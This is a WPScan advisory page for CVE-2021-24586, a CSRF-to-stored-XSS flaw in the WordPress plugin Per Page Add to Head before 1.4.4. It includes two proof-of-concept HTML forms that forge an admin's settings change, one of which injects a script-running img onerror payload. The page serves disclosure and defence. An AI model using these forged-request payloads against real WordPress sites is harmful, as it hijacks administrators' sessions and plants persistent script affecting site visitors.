WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Per Page Add to Head < 1.4.4 - CSRF to Stored XSS

Description

The plugin is lacking any CSRF check when saving its settings, which could allow attackers to make a logged in admin change them. Furthermore, as the plugin allows arbitrary HTML to be inserted in one of the setting (feature mentioned by the plugin), this could lead to Stored XSS issue which will be triggered either in the backend, frontend or both depending on the payload used.

v1.4.4 fixed the CSRF and XSS in the admin settings, however high privilege users could still perform XSS attacks in the frontend even with the disallowed_html capability disallowed. A separate issue has been created for it.

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=perpageath-every-page" method="POST">
      <input type="hidden" name="html" value="hello csrf found" />
      <input type="hidden" name="rolesallowed[]" value="student" />
      <input type="hidden" name="typeallowed[]" value="post" />
      <input type="hidden" name="typeallowed[]" value="page" />
      <input type="hidden" name="submit" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

To XSS an admin viewing the settings and anyone in the frontend:

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=perpageath-every-page" method="POST">
      <input type="hidden" name="html" value="aaa</textarea><img src onerror=alert(/XSS/)>" />
      <input type="hidden" name="rolesallowed[]" value="student" />
      <input type="hidden" name="typeallowed[]" value="post" />
      <input type="hidden" name="typeallowed[]" value="page" />
      <input type="hidden" name="submit" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> 

Affects Plugins

per-page-add-to
Fixed in version 1.4.4 - plugin closed

References

CVE
CVE-2021-24586

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Prashant Karman Patel

Submitter

Prashant Karman Patel

Submitter twitter
parsh_patel
Verified

Yes

WPVDB ID
e9885fba-0e73-41a0-9e1d-47badc09be85

Timeline

Publicly Published

2021-08-11 (about 9 months ago)

Added

2021-08-11 (about 9 months ago)

Last Updated

2022-04-12 (about 1 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us